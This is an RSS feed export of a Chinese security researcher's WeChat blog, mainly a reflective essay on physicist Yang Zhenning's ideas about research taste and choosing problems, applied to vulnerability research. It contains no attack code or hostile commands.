<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>回忆飘如雪</title>
    <link>https://wechat2rss.xlab.app/feed/fa41acf1a0d9c54d4caf973349e7bd99d5de61c6.xml</link>
    <description>记录工作生活所思所想&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (回忆飘如雪)</managingEditor>
    <image>
      <url>http://wx.qlogo.cn/mmhead/Q3auHgzwzM5NfiaEkhh2DCPUSibIXMeA59x13TFxWzGJM2P8VCnTBwcA/0</url>
      <title>回忆飘如雪</title>
      <link>https://wechat2rss.xlab.app/feed/fa41acf1a0d9c54d4caf973349e7bd99d5de61c6.xml</link>
    </image>
    <item>
      <title>寻找暗行为</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NjA4MTQ1NQ==&amp;mid=2247484493&amp;idx=1&amp;sn=f37a994506dbf03b9ece0f2f03087ec2</link>
      <description>一个正常功能如何变成特性，特性如何形成trick，trick如何转变为缺陷，缺陷又如何升级为漏洞？&#xA;&#xA;在这一列的转化当中，我觉察到一个核心变量：暗行为。&#xA;&#xA;接下来我会花一些时间梳理下自己的察觉到的暗行为，感兴趣的朋友进圈围观交流。</description>
      <content:encoded><![CDATA[<p><span>回忆飘如雪</span> <span></span> <span style="display: inline-block;">中国香港</span></p>




  
  
  <p>一个正常功能如何变成特性，特性如何形成trick，trick如何转变为缺陷，缺陷又如何升级为漏洞？</p><p>在这一列的转化当中，我觉察到一个核心变量：暗行为。</p><p>接下来我会花一些时间梳理下自己的察觉到的暗行为，感兴趣的朋友进圈围观交流。</p>
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=5b3f44b7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F075AT6bRmPfDGfG3UhAW2ibicncHIrhtnvLgiakolkNxK7hVMTQpV5kSMgHtIKKPibicO7NuiayhDOOYjZgcUWV6pCtw%2F0%3Fwx_fmt%3Djpeg"/></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=b9076ac9&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NjA4MTQ1NQ%3D%3D%26mid%3D2247484493%26idx%3D1%26sn%3Df37a994506dbf03b9ece0f2f03087ec2">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 11 Dec 2025 18:31:08 +0800</pubDate>
    </item>
    <item>
      <title>关于杨振宁先生辞世与安全研究有感</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NjA4MTQ1NQ==&amp;mid=2247484452&amp;idx=1&amp;sn=d922ef624f841dd098497d57a291f6c3</link>
      <description>在一个伟大物理学家离去之际，重思安全研究</description>
      <content:encoded><![CDATA[<p>
原创 <span>c0ny1</span> <span>2025-11-21 11:30</span> <span style="display: inline-block;">中国香港</span>
</p>




<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=20cb9776&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F075AT6bRmPfHblsiaQZkKs7D2GKo3yJXicBsEWFtW222hW9m1rZ2yr5AAXCeibsDD94IkrdYvLBqhAJ7eiapUjSKxg%2F0%3Fwx_fmt%3Djpeg"/></p>

<p>在一个伟大物理学家离去之际，重思安全研究</p>

<div style="font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;font-size: 14px;line-height: 1.75;text-align: left;"><h2 data-heading="true" style="display: table;padding: 0 0.2em;margin: 4em auto 2em;color: #fff;background: rgba(139, 55, 68, 1);font-size: 16.8px;font-weight: bold;text-align: center;"><span leaf="">0x00 前言</span></h2><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">人生到达这个阶段，已经经历过太多名人的离世，早已见怪不怪了。</span></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">不过杨先生的辞世还是让我略显震惊。我的记忆一下子就被拉回到了听卓克老师的《科学人物课：杨振宁》的时光。那时先生的故事带给我了极大情绪波动和思考深度。</span></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">因为杨振宁出生时，持续20多年的物理学黄金时代已达顶峰。他正式出道时，这股浪潮已退至白银时代，相对低矮的果实已经被摘完了。这时候要想取得成就，比黄金年代要困难得多。</span></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">在错过了最大风口之后，他仍然做出非凡成就。以中国人的身份首次登上世界科学顶峰，至今仍是我们中国人触及的最高高度。<span textstyle="" style="text-decoration: underline;">我想这背后一定有着值得“咀嚼”的东西。🤔</span></span></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">从2025年10月18日中午知道辞世的消息到最近的日子，我一直在断断续续重新翻看了杨先生的各类公开讲话，采访，文章等，以便重新梳理出自己的一些感悟。下面挑2个对目前的我影响比较大的点来说说。</span></p><h2 data-heading="true" style="display: table;padding: 0 0.2em;margin: 4em auto 2em;color: #fff;background: rgba(139, 55, 68, 1);font-size: 16.8px;font-weight: bold;text-align: center;"><span leaf="">0x01 taste</span></h2><blockquote style="font-style: normal;padding: 1em;border-left: 4px solid rgba(139, 55, 68, 1);border-radius: 6px;color: #3f3f3f;background: #f7f7f7;margin-bottom: 1em;"><p style="display: block;font-size: 1em;letter-spacing: 0.1em;color: #3f3f3f;margin: 0;"><span leaf="">在每一个有创造性活动的领域里，一个人的taste，加上他的能力、脾气和机遇，决定了他的风格，而这种风格反过来又决定他的贡献。</span></p></blockquote><p style="text-align: right;"><span leaf="">—— 杨振宁《论文（1945—1980）选及评注》</span></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">杨先生在多次公开的讲话和自己文章当中，谈到了</span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">taste</span></code><span leaf="">的重要性。曾有人将</span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">taste</span></code><span leaf="">译为</span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">品味</span></code><span leaf="">，</span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">爱憎</span></code><span leaf="">。杨先生都不太赞同，但由于暂时没有更理想的翻译现在基本都暂时翻译为了“品味”。但越是无法言说的东西越是精妙之所在，这促使我对</span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">taste</span></code><span leaf="">有了巨大的兴趣。</span></p><h3 data-heading="true" style="padding-left: 8px;border-left: 3px solid rgba(139, 55, 68, 1);margin: 2em 8px 0.75em 0;color: #3f3f3f;font-size: 15.4px;font-weight: bold;line-height: 1.2;"><span leaf="">1.1 taste是什么？</span></h3><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">taste</span></code><span leaf=""> 虽然很难给一个一句话定义，但它会在行为中显现出来。我们先看杨先生的三件往事。</span></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><strong style="color: rgba(139, 55, 68, 1);font-weight: bold;font-size: inherit;"><span leaf="">事件一：批评超弦理论和粒子寻找实验</span></strong><span leaf=""><br/></span><span leaf="">他认为前者只依赖于数学体系，严重缺少实验证据。而后者是完全抛弃数学框架，一味做大量实验。</span><span leaf="" style="font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;line-height: 1.75;text-align: left;letter-spacing: 0.1em;color: rgb(63, 63, 63);">这两类研究在他看来都“不美”。</span></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><strong style="color: rgba(139, 55, 68, 1);font-weight: bold;font-size: inherit;"><span leaf="">事件二：坚持选择“数学 × 物理”深度结合的问题</span></strong><span leaf=""><br/></span><span leaf="">他长期围绕对称性、规范性等深层结构做研究，不追热点，不做碎片化问题。</span></p><div style="font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;font-size: 14px;line-height: 1.75;text-align: left;"><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;" data-pm-slice="3 2 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;class&#34;:&#34;container&#34;,&#34;style&#34;:&#34;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif; font-size: 14px; line-height: 1.75; text-align: left;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><strong style="color: rgba(139, 55, 68, 1);font-weight: bold;font-size: inherit;"><span leaf="">事件三：反对中国建造超大对撞机</span></strong><span leaf=""><br/></span><span leaf="">他说：“The party is over”（盛宴已过）</span><span leaf=""><br/></span><span leaf="">高能物理研究的辉煌时代已经过去，没有更多深层次的问题需要这种对撞机来解决，且建设成本过高，成功的概率较小。</span></p></div><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">到这里我们基本可以描绘出</span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">taste</span></code><span leaf="">的轮廓了。</span></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">如果仅审美来描述taste的话，只是体现了个人偏好的部分。</span><span leaf=""><br/></span><span leaf="">而杨先生口中的 taste，指向一种更普适、更底层的能力：</span></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><strong style="color: rgba(139, 55, 68, 1);font-weight: bold;font-size: inherit;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;class&#34;:&#34;container&#34;,&#34;style&#34;:&#34;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif; font-size: 14px; line-height: 1.75; text-align: left;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;class&#34;:&#34;p&#34;,&#34;style&#34;:&#34;margin: 1.5em 8px; letter-spacing: 0.1em; color: #3f3f3f;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;strong&#34;,&#34;attributes&#34;:{&#34;class&#34;:&#34;strong&#34;,&#34;style&#34;:&#34;color: rgba(139, 55, 68, 1); font-weight: bold; font-size: inherit;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">在极度复杂的信息中，精准判断什么是“真正重要、值得投入、能引领未来”的能力。</span></strong></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">换句话说，它是：</span></p><ul style="list-style: circle;padding-left: 1em;margin-left: 0;color: #3f3f3f;" class="list-paddingleft-1"><li style="display: block;margin: 0.2em 8px;color: #3f3f3f;"><p><span leaf="">• 对本质的敏感度</span></p></li><li style="display: block;margin: 0.2em 8px;color: #3f3f3f;"><p><span leaf="">• 发现“深结构”的能力</span></p></li><li style="display: block;margin: 0.2em 8px;color: #3f3f3f;"><p><span leaf="">• 判断“方向对不对”的大局观</span></p></li><li style="display: block;margin: 0.2em 8px;color: #3f3f3f;"><p><span leaf="">• 经长期训练而形成的稳定直觉</span></p></li></ul><h2 data-heading="true" style="padding-left: 8px;border-left: 3px solid rgb(139, 55, 68);margin: 2em 8px 0.75em 0px;color: rgb(63, 63, 63);font-size: 15.4px;font-weight: bold;line-height: 1.2;"><span leaf="">1.2 taste有什么用？</span></h2><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">在芝加哥大学求学时期导师泰勒给的研究题目并不是适合他的口味，最终他决定自己博士论文方向，当时选了如下4个题目：</span></p><ol style="padding-left: 1em;margin-left: 0;color: #3f3f3f;" class="list-paddingleft-1"><li style="display: block;margin: 0.2em 8px;color: #3f3f3f;"><p><span leaf="">1. 伊辛模型</span></p></li><li style="display: block;margin: 0.2em 8px;color: #3f3f3f;"><p><span leaf="">2. Bethe假设</span></p></li><li style="display: block;margin: 0.2em 8px;color: #3f3f3f;"><p><span leaf="">3. 规范场</span></p></li><li style="display: block;margin: 0.2em 8px;color: #3f3f3f;"><p><span leaf="">4. 核反应角分布</span></p></li></ol><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">最终第4个题目成了他的毕业论文，而前面3个议题，虽然每个议题他都研究了1-2个月，都没有研究明白。但这些选题基本贯穿了杨先生整个研究生涯，其中规范场更是发展成了他最重要的贡献“杨-米尔斯”方程。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5064814814814815" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100000752" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=c8ceece6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F075AT6bRmPd5hajl1S6SGNx9DgaohEP1y0fz6l7op3ia7Nwl4xwcIJO1wxvHYd6YMicBYnsCEgfNXkorpF54ECtg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">不得不好奇，在杨先生当时是基于什么会选出了这4个课题？而最终这4个课题竟然都做出了重要成果。我想答案是：</span><strong style="color: rgba(139, 55, 68, 1);font-weight: bold;font-size: inherit;"><span leaf="">它们都是taste打捞上来的</span></strong><span leaf="">。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.8453703703703703" data-s="300,640" data-type="jpeg" data-w="1080" type="block" data-imgfileid="100000753" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=57be5420&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F075AT6bRmPd5hajl1S6SGNx9DgaohEP1lcrpibIWGFWuzIGK9mztBficVgzr4zw4DtXxpZy8Iu7Hx9ITiaw57ibQUg%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">taste让他识别哪些问题值得长期关注，哪些研究方向美的或有价值的。品味和美感引导他选择研究问题，让他能在几十年的研究生涯当中始终保持着激情，不断积累成果。</span></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">值得一说的是，乔布斯曾在采访《Steve Jobs: The Lost Interview》里提起过类似的观点。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.7777777777777778" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100000754" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=dee6e418&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F075AT6bRmPd5hajl1S6SGNx9DgaohEP1vHMnRviaCy0n9uvAcwR2cDG381og5ib7PDBORE9H0anYib4lwCyjmAMzQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.787962962962963" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100000755" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=9778d686&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F075AT6bRmPd5hajl1S6SGNx9DgaohEP1iaCxtRcOzwbISfWToVMWhic97icpX0AqHXeLCAjibwjLVg2Jv6knSEY2MQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">在杨先生的《曙光集》里有一则关于爱因斯坦的轶事，</span><strong style="color: rgba(139, 55, 68, 1);font-weight: bold;font-size: inherit;"><span leaf="">爱因斯坦在晚年时曾经讨论过为什么他选择物理</span></strong><span leaf="">，他说：</span></p><blockquote style="font-style: normal;padding: 1em;border-left: 4px solid rgba(139, 55, 68, 1);border-radius: 6px;color: #3f3f3f;background: #f7f7f7;margin-bottom: 1em;"><p style="display: block;font-size: 1em;letter-spacing: 0.1em;color: #3f3f3f;margin: 0;"><span leaf="">在数学领域里，我的直觉不够，不能辨认哪些是真正重要的研究，哪些只是不重要的题目。而在物理领域里，我很快学到怎样找到基本问题来下功夫。</span></p></blockquote><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">最后回到我们关注的安全研究领域，我时常觉得</span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">orange</span></code><span leaf="">历年的议题选题体现了自己的</span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">taste</span></code><span leaf="">。而我今年看他在给</span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">phrak</span></code><span leaf="">写的最新文章《The Art of PHP — My CTF Journey and Untold Stories!》</span><sup><span leaf="">[1]</span></sup><span leaf="">时，在结语部分我看到了那个熟悉的描述。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.43703703703703706" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100000756" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=42bf443c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F075AT6bRmPd5hajl1S6SGNx9DgaohEP13eY7icN94o3GTEF09XlmJOofUXBFUkqzEM68Zm1A0iaB3cBDuefe0VXA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3 data-heading="true" style="padding-left: 8px;border-left: 3px solid rgba(139, 55, 68, 1);margin: 2em 8px 0.75em 0;color: #3f3f3f;font-size: 15.4px;font-weight: bold;line-height: 1.2;"><span leaf="">1.3 如何培养自己的taste？</span></h3><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">杨先生曾用一个数学式子</span><span leaf="" style="font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;line-height: 1.75;text-align: left;letter-spacing: 0.1em;font-size: 90%;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">(D+E+F)/3</span><span leaf="">来描述自己的风格，其中D代表狄拉克（数学美感），E代表爱因斯坦（物理直觉），F代表费米（实验务实精神），这三位物理学大师都是他心中的偶像。</span></p><div style="font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;font-size: 14px;line-height: 1.75;text-align: left;" data-pm-slice="4 4 []"><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><strong style="color: rgba(139, 55, 68, 1);font-weight: bold;font-size: inherit;"><span leaf="">那么具体如何培养呢？</span></strong></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">朱邦芬院士在《有利学者培养科研品味的环境尚待形成》</span><sup><span leaf="">[2]</span></sup><span leaf="">)一文当中曾请教过杨先生过这个问题。</span></p></div><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.16666666666666666" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100000757" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=8405efa8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F075AT6bRmPd5hajl1S6SGNx9DgaohEP1ABh1C1XwrZWFQ8TM2ZsSaLbMYWE3IIlXLk5A7lqibteRkH8zBKXPVLA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div style="font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;font-size: 14px;line-height: 1.75;text-align: left;"><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;" data-pm-slice="2 2 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;class&#34;:&#34;container&#34;,&#34;style&#34;:&#34;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif; font-size: 14px; line-height: 1.75; text-align: left;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span leaf="">这些从他后来在台湾大学做的科普讲座《美与物理》</span><sup><span leaf="">[3]</span></sup><span leaf="">里，可以看到他对于每个做出伟大贡献的物理学家，都做了深度拆解。</span></p></div><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5101851851851852" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100000758" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=b25dabb5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F075AT6bRmPd5hajl1S6SGNx9DgaohEP1jMicx7c3ibWjkD7FibwgdSlQEn24SPY1cltWIrzTne4l787JaqpU2bNRQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.562962962962963" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100000759" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=c1801373&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F075AT6bRmPd5hajl1S6SGNx9DgaohEP12EnkWksyxKmyk8eVhia6azOMdgVxDUTSYySdOA2dYBibsGjc5odHia5LA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5055555555555555" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100000760" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=266d2a85&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F075AT6bRmPd5hajl1S6SGNx9DgaohEP1fG7VVn7AOQP1qZKibFRae3iccJa89c7nic1AU2suc4pnzGZQYGkLuOmGg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 data-heading="true" style="display: table;padding: 0 0.2em;margin: 4em auto 2em;color: #fff;background: rgba(139, 55, 68, 1);font-size: 16.8px;font-weight: bold;text-align: center;"><span leaf="">0x02 小问题 VS 大问题</span></h2><blockquote style="font-style: normal;padding: 1em;border-left: 4px solid rgba(139, 55, 68, 1);border-radius: 6px;color: #3f3f3f;background: #f7f7f7;margin-bottom: 1em;"><p style="display: block;font-size: 1em;letter-spacing: 0.1em;color: #3f3f3f;margin: 0;"><span leaf="">大题目、小题目都可以想，可以做，不过多半的时候应该做小题目。如果一个人专门做大题目的话，成功的可能性可能很小，而得精神病的可能很大。</span></p></blockquote><p style="text-align: right;"><span leaf="">—— 杨振宁《我的治学经历与体会》</span></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">我想做过安全研究和想做安全研究的师傅，也许都有过一种渴望或者遗憾。</span></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong><span leaf="" style="color: rgb(139, 55, 68);font-weight: bold;font-size: inherit;">我的职业生涯什么时候才能有一个影响深远的漏洞成果呢？</span></strong></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">我也不例外，这也导致了在一段时间内一直很热衷于“大问题”。但是我一直没有结果。最后兴趣锐减，也就不了了之了。经过几轮相同的经历后，我陷入了深深迷茫关于小问题还是大问题的选择中。</span></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">朋友曾拿着Orange那张著名的漏洞挖掘过程曲线图安慰过我。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000761" data-ratio="0.537962962962963" data-s="300,640" data-type="jpeg" data-w="1080" type="block" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=35b851ae&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F075AT6bRmPd5hajl1S6SGNx9DgaohEP16RbCBWprwiblUCibdn5jMv8v1WLky7G2Wmb6QJEClugg1vL4bWRK8Peg%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">我自然是明白挖掘过程的跌宕起伏是再正常不过的事情，可在这个问题上我依然有些犹豫和迷茫。</span></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="" style="color: rgb(139, 55, 68);font-weight: bold;font-size: inherit;">专注大问题的长期价值，还是小问题的及时反馈？</span><span leaf="" style="color: rgb(139, 55, 68);font-weight: bold;font-size: inherit;"><br/></span><span leaf="" style="color: rgb(139, 55, 68);font-weight: bold;font-size: inherit;">如何平衡它们？</span></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">直到有一天我在Firebasky师傅的github首页上看到了一个截图。它是为5G通信做出极大贡献的极化码之父</span><span leaf="" style="font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;line-height: 1.75;text-align: left;letter-spacing: 0.1em;font-size: 90%;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">Arikan</span><span leaf="">教授给一个B站博主的的回信，至此我的内心似乎开始有了一个不错的答案。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3074074074074074" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100000762" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=26c9fca9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F075AT6bRmPd5hajl1S6SGNx9DgaohEP1j3I3TicBUO9l2aRUWgXK4t8pktdV4k49mSU02Yd70RDnbDV3L5wThfQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 data-heading="true" style="display: table;padding: 0 0.2em;margin: 4em auto 2em;color: #fff;background: rgba(139, 55, 68, 1);font-size: 16.8px;font-weight: bold;text-align: center;"><span leaf="">0x03 最后的话</span></h2><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">作为普通人，白天我们难免被困在为了赚钱养家糊口，实现世俗成功的宏大叙事里。</span></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">而当夜深人静，在探索自己心中所热爱的事物时，也许我们可以从那些伟大心灵的思考与实践中获得一些启发与慰藉。</span></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">有幸在杨老吊唁活动的最后一天，亲手献上一束花，以表敬意。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-ratio="0.75" data-s="300,640" data-type="jpeg" data-w="1080" type="block" data-imgfileid="100000767" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=ee12c18a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F075AT6bRmPd5hajl1S6SGNx9DgaohEP1GxlwBXjtIsSM2BEzibLzR7ctzYZR3qxRQuVkbzZztia8nfNxWXBeib8ibQ%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><div style="font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;font-size: 14px;line-height: 1.75;text-align: left;" data-pm-slice="3 2 []"><h4 data-heading="true" style="margin: 2em 8px 0.5em;color: rgba(139, 55, 68, 1);font-size: 14px;font-weight: bold;"><span leaf="">引用链接</span></h4><p style="letter-spacing: 0.1em;margin: 0.5em 8px;font-size: 80%;color: #3f3f3f;"><code style="color: #d14;background: rgba(27, 